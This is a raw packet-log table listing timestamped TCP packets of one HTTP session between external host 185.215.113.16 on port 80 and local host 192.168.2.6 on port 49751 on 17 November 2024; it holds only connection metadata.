Nov 17, 2024 12:35:24.705146074 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.705164909 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.705184937 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.705205917 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.705224037 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.705260992 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.705343008 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.744088888 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.744146109 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.744164944 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.744184971 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.744401932 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.744677067 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.744868040 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.744899988 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.744949102 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.745006084 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.745276928 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.747603893 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.771470070 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.771492958 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.771511078 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.771593094 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.771609068 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.771624088 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.771639109 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.771653891 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.771749020 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.771749020 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.771883011 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.771899939 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.771924973 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.772032022 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.772046089 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.772078991 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.772166967 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.772182941 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.772197962 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.772213936 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.772228956 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.772275925 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.772275925 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.772448063 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.772474051 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.772490025 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.777031898 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.827603102 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.827661037 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.827694893 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.827800989 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.827842951 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.827889919 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.827934027 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.827966928 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.827989101 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.828001976 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.828043938 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.828052998 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.828088045 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.828227997 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.828301907 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.828350067 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.828386068 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.828391075 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.828416109 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.828481913 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.829014063 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.829269886 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.829303980 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.829339027 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.829381943 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.829396963 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.829432011 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.829464912 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.829499960 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.829541922 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.829720974 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.829755068 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.829788923 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.829823017 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.829890013 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.829982996 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.830017090 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.830050945 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.830085993 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.830120087 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.830123901 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.830364943 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.830398083 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.830432892 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.830441952 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.830467939 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.830502987 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.830507040 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.830655098 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.830773115 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.830775976 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.830828905 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.830862045 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.830872059 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.830895901 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.830930948 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.830938101 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.830965042 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.830970049 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.831001043 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.831036091 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.831168890 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.831289053 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.831341982 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.831376076 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.831418991 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.831460953 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.831495047 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.831526995 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.831564903 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.831722021 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.831753969 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.831789017 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.831794977 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.831824064 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.831857920 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.831904888 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.831949949 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.832072973 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.832108021 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.832142115 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.832173109 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.832173109 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.832175970 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.832211971 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.832413912 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.832429886 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.832461119 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.832596064 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.832700968 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.832731962 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.832735062 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.832770109 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.832811117 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.832814932 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.832814932 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.832844973 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.832983017 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.833013058 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.833054066 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.861457109 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.861515045 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.861548901 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.861613035 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.861639023 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.861671925 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.861705065 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.861720085 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.861741066 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.862337112 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.862390995 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.862425089 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.862605095 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.888689041 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.888804913 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.888818979 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.888834953 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.888849974 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.888876915 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.888958931 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.888983011 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.888999939 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.889000893 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.889015913 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.889031887 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.889054060 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.889461040 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.889527082 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.889556885 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.889589071 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.889622927 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.889633894 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.889657021 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.889691114 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.889698982 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.889750957 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.889805079 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.889832973 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.889849901 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.890592098 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.945024967 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.945087910 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.945139885 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.945175886 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.945209980 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.945241928 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.945241928 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.945245028 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.945333958 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.945369005 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.945403099 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.945403099 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.945439100 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.945540905 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.945565939 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.945621014 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.945653915 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.945687056 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.945696115 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.946047068 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.946422100 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.946476936 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.946513891 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.946561098 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.946607113 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.946763992 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.946798086 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.946832895 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.946835995 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.946867943 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.946902990 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.946943045 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.946976900 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.947010040 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.947041988 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.947051048 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.947051048 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.947071075 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.947205067 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.947237968 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.947283983 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.947325945 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.947343111 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.947506905 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.947540998 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.947557926 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.947576046 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.947612047 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.947618961 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.947779894 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.947834015 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.947868109 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.947901964 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.947936058 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.947969913 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.948066950 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.948066950 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.948143959 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.948177099 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.948210001 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.948242903 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.948262930 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.948262930 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.948400021 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.948434114 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.948467016 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.948501110 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.948550940 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.948584080 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.948616982 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.948651075 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.948662043 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.948662043 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.948678017 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.948868036 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.948913097 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.948921919 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.948956013 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.949047089 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.949079990 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.949111938 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.949112892 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.949151993 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.949186087 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.949412107 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.949445963 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.949450016 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.949482918 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.949491024 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.949516058 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.949549913 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.949583054 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.949625015 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.949641943 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.949661016 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.949682951 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.949898005 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.949933052 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.949965000 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.949999094 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.950010061 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.950033903 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.950119019 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.950233936 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.950270891 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.950304985 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.950337887 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.950371981 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.950406075 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.950422049 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.950520039 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.982608080 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.982625008 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.982728958 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.982743979 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.982811928 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.983489037 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.983505964 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.983521938 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.983534098 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.983547926 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.983549118 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.983618021 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.006736994 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.006789923 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.006824017 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.007087946 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.007087946 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.007148027 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.007200003 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.007234097 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.007267952 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.007281065 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.007302046 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.007352114 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.007355928 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.007392883 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.007534027 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.007625103 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.007693052 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.007700920 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.007730007 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.007765055 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.007798910 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.007812023 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.008933067 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.050177097 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.050214052 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.050247908 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.050286055 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.062457085 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.062521935 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.062588930 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.062624931 CET	80	49751	185.215.113.16	192.168.2.6
